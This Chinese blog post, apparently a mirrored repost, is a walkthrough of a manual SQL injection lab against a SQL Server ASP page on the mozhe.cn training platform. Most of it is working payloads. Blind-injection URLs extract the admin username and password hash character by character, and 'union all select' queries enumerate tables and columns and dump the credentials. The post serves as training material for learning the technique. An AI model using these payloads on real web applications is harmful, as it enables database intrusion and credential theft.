码迷,mamicode.com
首页 > 数据库 > 详细

SQL手工注入漏洞测试(Sql Server数据库)

时间:2019-01-21 23:21:18      阅读:261      评论:0      收藏:0      [点我收藏+]

标签:cts   bsp   注入   objects   描述   col   width   显示   pass   

 技术分享图片

 

技术分享图片

 

还是先找到注入点,然后order by找出字段数:4

技术分享图片

通过SQL语句中and 1=2 union select 1,2,3……,n联合查询,判断显示的是哪些字段,就是原本显示标题和内容时候的查询字段。此处返回的是错误页面,说明系统禁止使用union进行相关SQL查询,我们得使用其他方式进行手工SQL注入。

一、盲注

技术分享图片

盲猜爆出表名

技术分享图片

 

通过SQL语句中的and exists(select username from manage)查询,判断manage数据库表表中存在的字段。此处返回内容为正常页面,说明数据库表中存在username字段。同理找出password字段

页面提交:http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,2,1))=100 and ID=1)
数据库执行语句:select * from manage where id=2 and exists (select id from manage where unicode(substring(username,2,1))=100 and ID=1)
页面返回描述:返回内容为正常页面
分析解说:通过SQL语句中的通过SQL语句中的and exists (select id from manage where unicode(substring(username,2,1))=100 and ID=1)查询,判断manage数据库表表中id=1的username字段值的第一位字符。此处返回内容为正常页面,说明数据库表中ID=1的username字段值的第一位等于‘d’。

 

http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,3,1))=109 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,4,1))=105 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,5,1))=110 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,6,1))=95 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,7,1))=109 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,8,1))=122 and ID=1)
最后得到的username值是:admin_mz

 

 利用注入username字段值的方法对password字段进行注入,分别提交以下URL请求,即可得到id=1的password字段的值。
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,1,1))=55 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,2,1))=50 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,3,1))=101 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,4,1))=49 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,5,1))=98 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,6,1))=102 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,7,1))=99 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,8,1))=51 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,9,1))=102 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,10,1))=48 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,11,1))=49 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,12,1))=98 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,13,1))=55 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,14,1))=53 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,15,1))=56 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,16,1))=51 and ID=1)
最后得到的password值是:72e1bfc3f01b7583

通过MD5解密网站得知明文password值为97285101

 二、union all

http://219.153.49.228:44082/new_list.asp?id=-2 union all select null,null,null,null

用union all select null,null,null,null四个null分别尝试回显位置,得到回显语句:

http://219.153.49.228:44082/new_list.asp?id=-2 union all select null,2,null,null

//逐一测试,显示位3为字符型,导致的一些bug

http://219.153.49.228:44082/new_list.asp?id=-2 union all select null,2,‘3‘,null

 

数据库

//这里也可以使用db_name(1)、db_name(2)查询其他数据库

http://219.153.49.228:44082/new_list.asp?id=-2 union all select null,db_name(),null,null

 

结果为:mozhe_db_v2

 

http://219.153.49.228:44082/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=‘u‘),‘3‘,4

//xtype=‘u‘ :查看用户表

结果:manage

查看有没别的表

http://219.153.49.228:44082/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=‘u‘ and name not in (‘manage‘)),‘3‘,4

结果:announcement

继续查看表

id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=‘u‘ and name not in (‘manage‘,‘announcement‘)),‘3‘,4

结果空,说明没有别的了。

 

列名

id=-2 union all select null,(select top 1 col_name(object_id(‘manage‘),1) from sysobjects),null,null

得出:id

id=-2 union all select null,(select top 1 col_name(object_id(‘manage‘),2) from sysobjects),null,null

得出:username

id=-2 union all select null,(select top 1 col_name(object_id(‘manage‘),3) from sysobjects),null,null

得出:password

id=-2 union all select null,(select top 1 col_name(object_id(‘manage‘),4) from sysobjects),null,null

得出:空

说明mange表总共有3列,分别为:id、username、password

爆破:

http://219.153.49.228:44082/new_list.asp?id=-2 union all select null,username, password ,null from manage

SQL手工注入漏洞测试(Sql Server数据库)

标签:cts   bsp   注入   objects   描述   col   width   显示   pass   

原文地址:https://www.cnblogs.com/WhiteHatKevil/p/10301334.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!